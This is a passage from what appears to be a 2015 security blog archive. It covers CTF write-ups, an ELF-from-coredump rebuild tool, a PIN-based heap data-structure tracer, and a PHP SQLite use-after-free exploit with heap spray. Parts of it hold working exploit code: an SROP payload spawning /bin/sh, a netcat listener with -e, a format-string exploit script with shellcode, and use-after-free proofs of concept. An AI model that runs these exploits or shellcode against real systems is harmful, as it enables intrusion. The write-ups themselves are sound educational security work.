payload += frame.get_frame()
payload += "A" * (0x77 - len(payload) - 1)      # read SIGRETURN number of bytes
con.write(payload + chr(0xa))

# shellcode includes NOP + DUP + stack fix + execve('/bin/sh')
renorobert@ubuntu:~/SROP/sploit$ nc.traditional -vvv -e ./vuln_s -l -p 8888
listening on [any] 8888 ...
connect to [] from localhost [] 60604

renorobert@ubuntu:~/SROP/sploit$ python 
uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux
Frame could be found here

Sunday, June 7, 2015

Rebuilding ELF from Coredump

Recovering ELF from memory dumps are not new and are well discussed many times in many places. I have used Silvio Cesare's work [ELF EXECUTABLE RECONSTRUCTION FROM A CORE IMAGE] and code here to rebuild many of ELF metadata along with dynamic linking details. Many of these section headers may or may not exists. This is a POC code. Here is the link to source core2elf
renorobert@ubuntu:~/corerec$ ./hello
Hello World!

renorobert@ubuntu:~/corerec$ file core
core: ELF 32-bit LSB  core file Intel 80386, version 1 (SYSV), SVR4-style, from '/home/renorobert/corerec/hello'

renorobert@ubuntu:~/corerec$ ./core_recover 
[*] Program headers of CORE
    0x00000000 - 0x00000000
    0x08048000 - 0x08049000
    0x08049000 - 0x0804a000
    0x0804a000 - 0x0804b000
    0xf7e09000 - 0xf7e0a000
    0xf7e0a000 - 0xf7fb2000
    0xf7fb2000 - 0xf7fb4000
    0xf7fb4000 - 0xf7fb5000
    0xf7fb5000 - 0xf7fb8000
    0xf7fd7000 - 0xf7fd9000
    0xf7fd9000 - 0xf7fda000
    0xf7fda000 - 0xf7fdc000
    0xf7fdc000 - 0xf7ffc000
    0xf7ffc000 - 0xf7ffd000
    0xf7ffd000 - 0xf7ffe000
    0xfffdc000 - 0xffffe000

[*] Program headers of ELF
    0x08048034 - 0x08048154
    0x08048154 - 0x08048167
    0x08048000 - 0x080485bc
    0x08049f08 - 0x0804a024
    0x08049f14 - 0x08049ffc
    0x08048168 - 0x080481ac
    0x080484e0 - 0x0804850c
    0x00000000 - 0x00000000
    0x08049f08 - 0x0804a000

[*] Building section headers from program headers
[*] Building section headers from DYNAMIC section
[*] 6 GOT entries found
[*] Patching GOT entries to PLT address
[*] Done

renorobert@ubuntu:~/corerec$ file ./rebuild.elf 
./rebuild.elf: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

renorobert@ubuntu:~/corerec$ readelf -a ./rebuild.elf 
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2s complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048320
  Start of program headers:          52 (bytes into file)
  Start of section headers:          4412 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         25
  Section header string table index: 1

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .shstrtab         STRTAB          00000000 001020 00011c 00      0   0  1
  [ 2] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1
  [ 3] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08   A  0   0  4
  [ 4] .note             NOTE            08048168 000168 000044 00   A  0   0  1
  [ 5] .eh_frame_hdr     PROGBITS        080484e0 0004e0 00002c 00   A  0   0  4
  [ 6] .eh_frame         PROGBITS        0804850c 00050c 0000b0 00   A  0   0  4
  [ 7] .bss              NOBITS          0804a020 001020 000004 00  WA  0   0  4
  [ 8] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4
  [ 9] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4
  [10] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4
  [11] .got.plt          PROGBITS        0804a000 001000 000018 00  WA  0   0  4
  [12] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
  [13] .dynstr           STRTAB          0804821c 00021c 000049 00   A  0   0  1
  [14] .dynsym           DYNSYM          080481cc 0001cc 000050 10   A 13   2  4
  [15] .init             PROGBITS        080482b0 0002b0 000030 00  AX  0   0  4
  [16] .plt              PROGBITS        080482e0 0002e0 000040 04  AX  0   0 16
  [17] .text             PROGBITS        08048320 000320 000194 00  AX  0   0 16
  [18] .fini             PROGBITS        080484b4 0004b4 000000 00  AX  0   0  4
  [19] .rel.dyn          REL             08048290 000290 000008 08   A 14   0  4
  [20] .rel.plt          REL             08048298 000298 000018 08   A 14  16  4
  [21] .gnu.version      VERSYM          08048266 000266 00000a 02   A 14   0  2
  [22] .gnu.version_r    VERNEED         08048270 000270 000020 00   A 13   1  4
  [23] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 00   A 14   0  4
  [24] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/]
  LOAD           0x000000 0x08048000 0x08048000 0x005bc 0x005bc R E 0x1000
  LOAD           0x000f08 0x08049f08 0x08049f08 0x00118 0x0011c RW  0x1000
  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4
  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x0004e0 0x080484e0 0x080484e0 0x0002c 0x0002c R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10
  GNU_RELRO      0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R   0x1

 Section to Segment mapping:
  Segment Sections...
   01     .interp 
   02     .interp .note .eh_frame_hdr .eh_frame .dynstr .dynsym .init .plt .text .fini .rel.dyn .rel.plt .gnu.version .gnu.version_r .gnu.hash 
   03     .dynamic .bss .init_array .fini_array .jcr .got.plt .data .got 
   04     .dynamic 
   05     .note 
   06     .eh_frame_hdr 
   08     .dynamic .init_array .fini_array .jcr .got 

Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: []
 0x0000000c (INIT)                       0x80482b0
 0x0000000d (FINI)                       0x80484b4
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804821c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      74 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0xf7ffd924
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x8048298
 0x00000011 (REL)                        0x8048290
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048270
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048266
 0x00000000 (NULL)                       0x0

Relocation section '.rel.dyn' at offset 0x290 contains 1 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__

Relocation section '.rel.plt' at offset 0x298 contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   puts
0804a010  00000207 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a014  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main

The decoding of unwind sections for machine type Intel 80386 is not currently supported.

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484cc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

Histogram for '.gnu.hash' bucket list length (total of 2 buckets):
 Length  Number     % of total  Coverage
      0  1          ( 50.0%)
      1  1          ( 50.0%)    100.0%

Version symbols section '.gnu.version' contains 5 entries:
 Addr: 0000000008048266  Offset: 0x000266  Link: 14 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  
  004:   1 (*global*)   

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000008048270  Offset: 0x000270  Link: 13 (.dynstr)
  000000: Version: 1  File:  Cnt: 1
  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

Displaying notes found at file offset 0x00000168 with length 0x00000044:
  Owner                 Data size   Description
  GNU                  0x00000010   NT_GNU_ABI_TAG (ABI version tag)
    OS: Linux, ABI: 2.6.24
  GNU                  0x00000014   NT_GNU_BUILD_ID (unique build ID bitstring)
    Build ID: e8ee1fa34adec405fcd55e166c0508d2f941b6f2

renorobert@ubuntu:~/corerec$ ./rebuild.elf 
Hello World!

renorobert@ubuntu:~/corerec$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.2 LTS
Release:    14.04
Codename:   trusty

renorobert@ubuntu:~/corerec$ uname -a
Linux ubuntu 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:43:14 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Wednesday, April 29, 2015

CONFidence DS CTF Teaser 2015 - So Easy - Reverse Engineering

We were given a 32 bit ELF which validates the flag. main function reads user input, converts lower case to upper case, upper case to lower case, then compares with string dRGNs{tHISwASsOsIMPLE}. But this is not the flag, there is something else happening. Lets check the .init_array

gdb-peda$ maintenance info sections

 [16]     0x8048d2c->0x8049120 at 0x00000d2c: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
 [17]     0x804af04->0x804af0c at 0x00001f04: .init_array ALLOC LOAD DATA HAS_CONTENTS
 [18]     0x804af0c->0x804af10 at 0x00001f0c: .fini_array ALLOC LOAD DATA HAS_CONTENTS
 [19]     0x804af10->0x804af14 at 0x00001f10: .jcr ALLOC LOAD DATA HAS_CONTENTS
 [20]     0x804af14->0x804affc at 0x00001f14: .dynamic ALLOC LOAD DATA HAS_CONTENTS

gdb-peda$ x/4x 0x804af04
0x804af04: 0x080488be 0x08048570 0x08048550 0x00000000

0x080488be is priority constructor, which does some operation before main is executed. Below are the operations of the constructor

[*] Overwrite GOT entry of printf with address of function calling strlen
[*] Call calloc(32, 4)
[*] Then registers a series of destructors using ___cxa_atexit
[*] First destructor registered is the key validation routine, followed by a series of destructor to write a single DWORD to the calloc memory
.text:080488DE                 mov     [ebp+plt_printf], 8048412h
.text:080488E5                 mov     eax, [ebp+plt_printf]
.text:080488E8                 mov     eax, [eax]
.text:080488EA                 mov     [ebp+addr_printf], eax
.text:080488ED                 mov     eax, [ebp+addr_printf]
.text:080488F0                 mov     dword ptr [eax], offset strlen_w ; overwrite with strlen
.text:080488F6                 mov     dword ptr [esp+4], 4 ; size
.text:080488FE                 mov     dword ptr [esp], 32 ; nmemb
.text:08048905                 call    _calloc
.text:0804890A                 mov     ds:calloc_address, eax
.text:0804890F                 mov     dword ptr [esp], offset check_key
.text:08048916                 call    register_destructor
.text:0804891B                 mov     dword ptr [esp], offset a
.text:08048922                 call    register_destructor
.text:08048927                 mov     dword ptr [esp], offset b
Then the program goes into main, reads and modifies user input as mentioned earlier. Later, __run_exit_handlers executes the destructors in the reverse order. Finally, check_key validates the key.
gdb-peda$ break *0x000000000804873C
Breakpoint 1 at 0x804873c

gdb-peda$ heap used
Used chunks of memory on heap
     0: 0x0804c008 -> 0x0804c08f      136 bytes uncategorized::136 bytes |64 00 00 00 52 00 00 00 47 00 00 00 4e 00 00 00 73 00 00 00 7b 00 00 00 6e 00 00 00 4f 00 00 00 |d...R...G...N...s...{...n...O...|
User supplied flag is is case converted and compared with the bytes found above. So flag for the challenge is DrgnS{NotEvenWarmedUp}

Wednesday, April 22, 2015

Plaid CTF 2015 - Pwnables - EBP Solution and ProdManager Analysis

EBP is a simple 32 bit ELF with NX disabled. Its an echo server with format string vulnerability. Data received using fgets is passed on to snprint call
.text:08048557                 mov     eax, ds:stdin@@GLIBC_2_0
.text:0804855C                 mov     [esp+8], eax    ; stream
.text:08048560                 mov     dword ptr [esp+4], 1024 ; n
.text:08048568                 mov     dword ptr [esp], offset buf ; s
.text:0804856F                 call    _fgets

.text:08048503                 mov     dword ptr [esp+8], offset buf ; format
.text:0804850B                 mov     dword ptr [esp+4], 1024 ; maxlen
.text:08048513                 mov     dword ptr [esp], offset response ; s
.text:0804851A                 call    _snprintf
The format string vulnerability in make_response() call will enable to read data starting from make_reponse stack frame. This is what call stack looks like, main -> echo -> make_response. But we have an issue, format string is not located in stack. Hence we cannot pass arbitrary address to perform a memory write

So we decided to reuse saved EBP pointer in make_response's stack frame as target to overwrite. This will end up overwriting saved EBP in echo() stack frame. When echo returns, leave instruction will set EBP to this overwritten address. Then when main() returns, EIP will be read from EBP+4 during ret instruction. Since EBP is controlled, we can control also EIP.

But main returns only when fgets() returns 0. To achieve this we shutdown half of socket using SHUT_WR, hence fgets() will return 0 on reading from socket. Still we can receive the data sent by our payload executing in echo server. Below is the exploit

#!/usr/bin/env python

import sys
import time
import socket
import struct
import telnetlib

ip = ''
ip = ''
port = 4545

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

def push(string):
    length = len(string)
    if (length % 4) != 0:
        string = '/' * (4 - (length % 4)) + string

    pushop = chr(0x68)
    payload = ''
    for i in range(0, len(string), 4):
        sub = string[i:i+4]
        payload = (pushop + sub) + payload
    return payload

shellcode = ("\x31\xc0\x50" +
            push("/home/problem/flag.txt") + 
            "\x89\xE7\x50" +
            push("/bin/cat") +
            "\x50\x57" +

fmt_len = 16
fake_ebp = 0x0804A080 + fmt_len 
fake_eip = fake_ebp + 8

payload  = "%." + str(fake_ebp) + "u%4$n" 
payload += struct.pack("<I", fake_ebp+200) # fake_ebp
payload += struct.pack("<I", fake_eip)     # controlled eip
payload += shellcode

print "[*] Sending format string payload"
soc.send(payload + chr(0xa))

print "[*] Half close socket to trigger payload"

print "[*] Waiting for data"
s = telnetlib.Telnet()
s.sock = soc
f = s.read_all().split(chr(0xa))[1]
print f

Flag for the challenge is who_needs_stack_control_anyway?

ProdManager - Use After free

prodmanager is a 32 bit ELF with ASLR+NX enabled. I couldn't solve the challenge during the CTF, but here is my analysis.

The binary reads flag file into memory and provides the following options:
Menu options:
1) Create a new product 
2) Remove a product 
3) Add a product to the lowest price manager 
4) See and remove lowest 3 products in manager 
5) Create a profile (Not complete yet)
Creating a new product, calls a malloc(76) and there is series of other operations. Lets trace creation of 10 new products using data structure recovery tool
$ pin -t obj-ia32/ -- programs/prodmanager
$ python --filename StructTrace --bss --relink --nullwrite 
Below is the visualization of memory access and it looks like a doubly-linked list. 2nd DWORD being next pointer and 3rd DWORD being previous pointer. Also 2 pointers are maintained in bss memory, one is pointer[0x0804c1d8] to head of list and other is pointer[0x0804c1dc] is tail of list.

struct node
    int price;
    struct node *next;
    struct node *prev;
    int a;
    int b;
    int c;
    char name[50];
Creating 3 products and adding it to lowest price manager leaves us with this.

We could infer that lot of references are added to nodes from other nodes and even from bss memory ranging from [0x0804c180 - 0x0804c1d8]. Also, this could be the structure
struct node
    int price;
    struct node *next;
    struct node *prev;
    struct node *a;
    struct node *b;
    struct node *c;
    char name[50];
The use-after-free vulnerability

Removing a product using option 2, unlinks the node from doubly linked list but doesn't clear references to it created with option 3. To trigger the issue

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] See and remove lowest 3 products in manager

Setting MALLOC_PERTURB_=204, this is what we get
Program received signal SIGSEGV, Segmentation fault.
EAX: 0xcccccccc 
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 --> 0xcccccccc 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX has value fetched from freed memory. Create profile option also allocates 76 bytes, which is equal to the product object. So this option could be used to reallocate the same memory with user controlled data for further exploitation.

[*] Create 3 products
[*] Add 3 the products to lowest manager
[*] Remove a product
[*] Create a profile
[*] See and remove lowest 3 products in manager

Program received signal SIGSEGV, Segmentation fault.
EAX: 0x41414141 ('AAAA')
EBX: 0xf7fb4000 --> 0x1a9da8 
ECX: 0x0 
EDX: 0x804d0a8 ('A' , "\n")
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffcc28 --> 0xffffcc58 --> 0xffffcc78 --> 0x0 
ESP: 0xffffcbd0 --> 0xc0 
EIP: 0x804955c (mov    edx,DWORD PTR [eax+0x14])
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x8049553: mov    eax,DWORD PTR [ebp+0x8]
   0x8049556: mov    eax,DWORD PTR [eax+0x4]
   0x8049559: mov    eax,DWORD PTR [eax+0xc]
=> 0x804955c: mov    edx,DWORD PTR [eax+0x14]
EAX points to 0x41414141
Used chunks of memory on heap
     0: 0x0804d008 -> 0x0804d057       80 bytes uncategorized::80 bytes |01 00 00 00 58 d0 04 08 00 00 00 00 00 00 00 00 58 d0 04 08 a8 d0 04 08 31 0a 00 00 00 00 00 00 |....X...........X.......1.......|
     1: 0x0804d058 -> 0x0804d0a7       80 bytes uncategorized::80 bytes |02 00 00 00 00 00 00 00 08 d0 04 08 08 d0 04 08 00 00 00 00 00 00 00 00 32 0a 00 00 00 00 00 00 |........................2.......|
     2: 0x0804d0a8 -> 0x0804d0f7       80 bytes   C:string data:None |41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|
From here, one needs to setup fake pointers such that the program shouldn't crash and also dump the flag from memory. Full solution for the challenge is here

Monday, April 13, 2015

Data Structure Recovery using PIN and PyGraphviz

This is a simple POC PIN tool to recover data structures in dynamically linked stripped executables, mainly for analyzing small programs. The PIN tool keeps track of heap allocations done by executable and traces all the write operations to the allocated heap memory. The trace file having allocations and write operations will be used to generate graph using pygraphviz.

Tracing Size and Address of Allocations

Size of Allocation

Right now, we track libc functions malloc, realloc, calloc, sbrk, mmap and free. All these routines are instrumented using Rtn_InsertCall to fetch the size of requested allocation.

For example, for tracing malloc
RTN_InsertCall( rtn,

We fetch the size of requested allocation using IARG_G_ARG0_CALLEE and IPOINT_BEFORE. Also, we need to identify the malloc calls that are only called from our main executable. To find this we use IARG_RETURN_IP to check if the return address of the call is part of main executable, if not we don't trace the allocation.

Address of Allocation

IARG_RETURN_IP is valid only at function entry point, so we cannot use IPOINT_AFTER along with IARG_RETURN_IP. As a work around, we save the return address during IPOINT_BEFORE. Then in instruction trace, if instruction pointer equals return address of an allocation call, we fetch the EAX value. This gives the address of allocation.
if (insaddr == retaddress){
        INS_InsertCall( ins,
                #ifdef __i386__ 
Now we have both address and size of allocation. These details are stored as dictionary as pairs of address : size. Also we don't remove an address when free is called upon that, instead if an already existing address is returned during an allocation call ie. reallocation, we just update the size of existing allocation for the new allocation request.
if(allocations.count(address) == 0) {
        allocations.insert(std::make_pair(address, allocsize));
else {
        std::map::iterator it = allocations.find(retval);
        it->second = allocsize;

.data and .bss sections

data and bss sections are also added to dictionary. The size and address of these segments are fetched from main executable and added as part of allocations
if(!strcmp(sec_name.c_str(), ".bss") || !strcmp(sec_name.c_str(), ".data")) {

                ADDRINT addr = SEC_Address(sec);
                USIZE size = SEC_Size(sec);

                if(allocations.count(addr) == 0) {
                    allocations.insert(std::make_pair(addr, size));
Tracing Memory Writes

We trace instructions that writes into the allocated memory. As of now only XED_ICLASS_MOV class of instructions are traced. For all XED_ICLASS_MOV instruction, we check if its a memory write instruction using INS_IsMemoryWrite and is part of main executable.

In this case, we fetch the destination address of write operation using IARG_MEMORYWRITE_EA. Then we check if the destination address is part of any allocation, on success this instruction is traced.
for (it = allocations.begin(); it != allocations.end(); it++) {
        if ((des_addr >= it->first) && (des_addr < it->first+it->second)) return true;
Sample Trace

0x8048565 @mov dword ptr [0x804c000], eax             : WRREG MEM[0x804c000] VAL[0x98de000]
0x8048575 @mov dword ptr [eax+0x8], 0x0               : WRIMM MEM[0x98de008] VAL[0]
0x804857f @mov dword ptr [edx+0x4], eax               : WRREG MEM[0x98de004] VAL[0]
0x8048587 @mov dword ptr [eax], 0x10                  : WRIMM MEM[0x98de000] VAL[0x10]
0x80485a0 @mov dword ptr [eax+0x4], edx               : WRREG MEM[0x98de004] VAL[0x98de010]
0x80485ac @mov dword ptr [eax+0x8], edx               : WRREG MEM[0x98de018] VAL[0x98de000]

Node Create

For each allocation in trace file generated by PIN tool, a new node is created in the graph. Each node is uniquely identified using a node id which is assigned sequentially. An ordered dictionary is maintained, key being node id and value is dictionary of address and size of allocation. New allocations are added to the start of ordered dictionary.

An edge count is associated with each of created node. This will be used for pruning away nodes without any edges.

Separate nodes are created for bss and data sections. But this is optional.


Say a structure is allocated in heap using malloc, this is how a node will look like

| [0] 0x8fcf030   |
[0] is the node id, this could signify the order of allocation. Every new allocator call gets a new id, irrespective of the return address

0x8fcf030 is the address returned by allocator call

Node Update

For each instruction, fetch the target address of write operation. If the target address is part of any allocation, update the node to which the target address belongs to. Basically we create a new port in the record node.

A new port signifies an element of an allocation, say element of a structure.

Then check if the source value is part of any allocation. If yes, we consider the source value as an address. Then update the node to which the source address belongs to. This operation could be interpreted as a pointer assignment [or link creation]
0x8048957 @mov byte ptr [eax+edx*1], 0x0      : WRIMM MEM[0x8fcf031] VAL[0]
0x80489bb @mov dword ptr [eax+0x14], edx      : WRREG MEM[0x8fcf044] VAL[0x8fcf058]
0x8048a40 @mov dword ptr [eax+0x18], edx      : WRREG MEM[0x8fcf048] VAL[0x8fcf008]
0x8048a4e @mov dword ptr [eax+0x1c], edx      : WRREG MEM[0x8fcf04c] VAL[0x8fcf008]
| [0] 0x8fcf030   | 0x8fcf031  | 0x8fcf044  |  0x8fcf048  |  0x8fcf04c  |
Now first field [0] 0x8fcf030 is the meta data for the chunk ie node id and return address of allocator call. The rest of 4 fields signifies 4 individual write operations into this allocation [example, 4 elements of a structure]

Create Link

If both source and destination values are valid address and belongs to a traced allocation, we link both ports of the nodes. Whenever a link is created, edge count of source and destination are incremented.

Similarly, during memory overwrite an edge is removed and edge count is decremented.


0x80489bb @mov dword ptr [eax+0x14], edx             : WRREG MEM[0x8fcf044] VAL[0x8fcf058]
0x8048a40 @mov dword ptr [eax+0x18], edx             : WRREG MEM[0x8fcf048] VAL[0x8fcf008]
0x8048a4e @mov dword ptr [eax+0x1c], edx             : WRREG MEM[0x8fcf04c] VAL[0x8fcf008]
Above is a series of pointer writes into memory allocated at 0x8fcf030. The address points to another allocation at 0x8fcf008. Hence we link both

Prune Node

Finally after parsing all instructions, remove nodes that doesn't have any edges. For this, check if the edge count for a node is 0. If yes, remove the node.

Other Options

By default, we consider only the first non-NULL write operation for node update and link creation. This might be good enough to reveal some of data structures. Any memory writes to an address after first write non-NULL are skipped. But one can use relink option to consider more than single write operation for graphing. This could be useful when relink operations are done, say circular linked list.

NULL writes can also be enabled as option. This might be useful along with relink.

The tool itself doesn't itself have the intelligence to say what data structure is used, but can graph the allocation and links to help someone understand a data structure from the revealed shape.

Example - Singly Linked List

Example - Binary Tree

Example - HackIM Mixme Circular Doubly Linked List

The POC code which I use for CTF is available here. To repeat again, this works on small binaries, as things get complex the graph might make less sense. There is lot of scope for improvement though.


AES Whitebox Unboxing: No Such Problem, this served as excellent reference for the usage of PIN tool and pygraphviz to visualize memory access

Thanks to Danny K, for help with Intel PIN Framework.

Thursday, April 2, 2015

Exploiting PHP Bug #66550 - SQLite prepared statement use-after-free - [A local PHP exploit]

As the title says, this bug is useful only for post exploitation to bypass protections when the attacker already has arbitrary PHP code execution. Nevertheless, this was a good exploit exercise.

This SQLite prepared statement use-after-free was reported by Sean Heelan. Here is the link to the bug and detailed analysis Bug 66550 - SQLite prepared statement use-after-free.

The summary as per Sean - The sqlite3_close method, which is used to close a database connection, tears down the sqlite3_stmt objects associated with any prepared statements that have been created using the database. The prepared statements can still be accessed directly after this has occured, leading to a use-after-free condition.


Let's check the POC provided by Sean, setting MALLOC_PERTURB_=204

$db = new SQLite3(':memory:');
$db->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$stmt = $db->prepare('SELECT bar FROM foo WHERE id=:id');
// Close the database connection and free the internal sqlite3_stmt object
// Access the sqlite3_stmt object via the php_sqlite3_stmt container


EAX: 0xcccccccc 
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a52e38 --> 0xcccccccc 
EDI: 0x0 
EBP: 0xb77cb0c8 --> 0x2 
ESP: 0xbfffb8a0 --> 0xb77cb0e4 --> 0x0 
EIP: 0xb73c290d (: mov    eax,DWORD PTR [eax+0xc])
EFLAGS: 0x210202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
   0xb73c2907 : test   esi,esi
   0xb73c2909 : je     0xb73c297d 
   0xb73c290b : mov    eax,DWORD PTR [esi]
=> 0xb73c290d : mov    eax,DWORD PTR [eax+0xc]
   0xb73c2910 : mov    DWORD PTR [esp],eax
   0xb73c2913 : call   0xb736fea0 
   0xb73c2918 : mov    eax,esi
   0xb73c291a : call   0xb73c18f0 

gdb-peda$ bt
#0  0xb73c290d in sqlite3_reset (pStmt=0x8a52e38) at sqlite3.c:64509
#1  0xb742b069 in zim_sqlite3stmt_reset (ht=0x0, return_value=0xb77cb0e4, return_value_ptr=0x0, this_ptr=0xb77cb0c8, return_value_used=0x0)
    at /build/buildd/php5-5.5.9+dfsg/ext/sqlite3/sqlite3.c:1316

gdb-peda$ x/100x 0x8a52e38
0x8a52e38: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e48: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e58: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e68: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e78: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e88: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52e98: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ea8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52eb8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ec8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ed8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ee8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52ef8: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
0x8a52f08: 0xcccccccc 0xcccccccc 0xcccccccc 0xcccccccc
Clearly, some freed memory is being accessed.

Heap spray

Now, lets try reallocating the same memory using user controlled data. Allocations done by functions like str_repeat etc uses zend allocator, which goes into a separate mmap'ed region since large malloc requests are serviced using mmap during _zend_mm_alloc_int. Our freed object resides in glibc allocated heap region, so we need some heap operation that re-uses the glibc heap.

So, lets use SQLite operations to try and allocate this region. Idea was to use SQLite insert operations to control the freed structure. I created two databases, one to be freed and another to perform heap spray. Below is the POC.


$db_spray = new SQLite3(':memory:');
$db_uaf   = new SQLite3(':memory:');

$db_spray->exec('CREATE TABLE foo (id INTEGER, bar STRING)');
$db_uaf->exec('CREATE TABLE foo (id INTEGER, bar STRING)');

$stmt = $db_uaf->prepare('SELECT bar FROM foo WHERE id=:id');

for($i = 0; $i <= 300; $i++){
    $id  = (string) $i;
    $bar = chr($i) . str_repeat("A", 320);
    $db_spray->exec("INSERT INTO foo (id, bar) VALUES ({$id},'{$bar}')");
EAX: 0x41414141 ('AAAA')
EBX: 0xb7420f28 --> 0xbae20 
ECX: 0x88c6000 --> 0x88c5d38 --> 0x1 
EDX: 0xb742cd66 --> 0x4c515300 ('')
ESI: 0x8a654c0 ('A' ...)
EDI: 0x0 
EBP: 0xb77cc198 --> 0x3 
